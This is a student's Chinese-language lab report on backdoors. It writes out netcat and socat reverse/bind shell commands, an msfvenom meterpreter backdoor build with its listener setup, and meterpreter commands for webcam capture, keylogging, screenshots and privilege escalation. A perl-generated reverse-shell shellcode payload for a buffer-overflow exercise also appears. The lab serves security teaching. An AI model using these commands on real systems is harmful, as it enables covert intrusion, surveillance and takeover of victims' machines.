1. 程式人生 > 其它 >20192402白胤廷實驗二 後門原理與實踐——實驗報告

20192402白胤廷實驗二 後門原理與實踐——實驗報告

一、實驗內容
1.使用netcat獲取主機操作Shell,cron啟動

(1)使用netcat獲取主機操作Shell,cron啟動

(2)使用socat獲取主機操作Shell, 任務計劃啟動

(3)使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell(1分)加分內容一併寫入本實驗報告。
二、實驗步驟
任務一:使用netcat獲取主機操作Shell,cron啟動
首先我們將從碼雲上下載的necat壓縮包並解壓縮necat。然後將necat解壓縮在桌面,做好準備工作。

接著我們開啟cmd通過ipconfig檢視windows下的IP地址

然後我們在windows上的ncat目錄中啟用necat的指令ncat.exe -l -p 5313開啟本地的監聽埠,讓kal通過nc 192.168.11.85 5313 -e /bin/sh連進來,然後獲得kali的操作shell。

任務二:使用socat獲取主機操作Shell, 任務計劃啟動
socat:

socat是ncat的增強版,它使用的格式是socat [options],其中兩個address是必選項,而options是可選項。
socat的基本功能就是建立兩個雙向的位元組流,資料就在其間傳輸,引數address就是代表了其中的一個方向。所謂流,代表了資料的流向,而資料則可以有許多不同的型別,命令中也就相應需要許多選項對各種不同的型別資料流進行限定與說明。

開啟“計算機管理”, 在“任務計劃程式”中“建立任務”
填寫任務名—>新建一個觸發器
在操作->程式或指令碼中選擇你的socat.exe檔案的路徑,在新增引數一欄填寫tcp-listen:5301 exec:cmd.exe,pty,stderr,這個命令的作用是把cmd.exe繫結到埠5301,同時把cmd.exe的stderr重定向到stdout上:

在Kali環境下輸入指令socat - tcp:192.168.43.138:5301,這裡的第一個引數-代表標準的輸入輸出,第二個流連線到Windows主機的5301埠,此時可以發現已經成功獲得了一個cmd shell

任務三:使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

生成20192402backdoor.exe檔案

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.138 LPORT=5301 -f exe > 20192402backdoor.exe

引數說明:

-p 使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這裡windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可執行檔案模板,payload(shellcode)就寫入到這個可執行檔案中。
-e 使用的編碼器,用於對shellcode變形,為了免殺。
-i 編碼器的迭代次數。如上即使用該編碼器編碼5次。
-b badchar是payload中需要去除的字元。 LHOST 是反彈回連的IP LPORT 是回連的埠
-f 生成檔案的型別
輸出到哪個檔案

在Windows下執行ncat -l 5301 > 20192402backdoor.exe,這樣被控主機就進入了接收檔案模式,也可以使用ncat -lv 5301 > 20192402backdoor.exe指令,通過-lv選項看到當前的連線狀態。

在Linux中執行nc 192.168.43.138 5301 < 20192402backdoor.exe,注意這裡的IP為被控主機IP,即WindowsIP。

傳送接收檔案成功,如下圖所示

MSF開啟監聽程序

輸入msfconsole後進行如下操作:

輸入use exploit/multi/handler使用監聽模組,設定payload

set payload windows/meterpreter/reverse_tcp,使用和生成後門程式時相同的payload

set LHOST 192.168.43.138,這裡用的是LinuxIP,和生成後門程式時指定的IP相同

set LPORT 5301,同樣要使用相同的埠

設定完成後,開始監聽

執行Windows下的後門程式

此時Kali上已經獲得了Windows主機的連線,並且得到了遠端控制的shell

任務四:使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

使用webcam_snap指令可以使用攝像頭進行拍照

使用keyscan_start指令開始記錄下擊鍵的過程,使用keyscan_dump指令讀取擊鍵的記錄

使用screenshot指令可以進行截圖,效果如下:

先使用getuid指令檢視當前使用者,使用getsystem指令進行提權
任務五:可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

在官網上下載下述檔案

Linux/x64 - Reverse (127.1.1.1:4444/TCP) Shell (/bin/sh) Shellcode (123 Bytes)

之後像實驗一一樣做好環境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space關閉地址隨機化

使用如下命令使輸出重定向>將perl生成的字串儲存到檔案input_shellcode中
perl -e 'print "A" x 32;print"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05"' > input_shellcode

開啟一個終端使用(cat input_shellcode;cat) | ./pwn1注入這段攻擊buf
再開另外一個終端,用gdb來除錯pwn1這個程序。輸入ps -ef | grep pwn1找到pwn1的程序號
之後啟動gdb使用attach除錯這個程序。使用disassemble foo檢視到ret的地址

0xffffd1ec+4=0xffffd3f0

修改並生成input檔案
perl -e 'print "A" x 32;print"\xf0\xd1\xff\xff\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05"' > input_shellcode

然後在另一個終端中開啟msfconsole,並開啟監聽
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 //這兩個都是根據你的shellcode來的
show options
exploit

在原終端輸入(cat input;cat) | ./pwn1執行pwn1並回車,另一邊就可以得到shell了
這時在msf控制檯可以看到已經成功調取了shell


實驗收穫與感想
在做任務五的時候做了三次,總是不顯示[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:47146) at 2021-03-25 20:33:33 +0800這一行,做到第三遍的時候發現竟然是在另一個終端少敲了一次回車程式沒有執行。

總體來說實驗還是十分成功的,也讓我十分後怕,一個後門程式竟然有這麼多的功能,包括麥克風攝像頭都可以被呼叫。

問題回答
例舉你能想到的一個後門進入到你係統中的可能方式?
答:下載的軟體捆綁著惡意軟體,軟體安裝後後門程式同時進入系統。

例舉你知道的後門如何啟動起來(win及linux)的方式?
答:Windows:設定為開機自啟動
Linux:對正常軟體注入shellcode

Meterpreter有哪些給你映像深刻的功能?
答:在植入後門後,可以控制主機的執行指令,包括錄音、錄影、截圖、鍵盤輸入記錄等。

如何發現自己有系統有沒有被安裝後門?
答:安裝防毒安全軟體,定期查殺。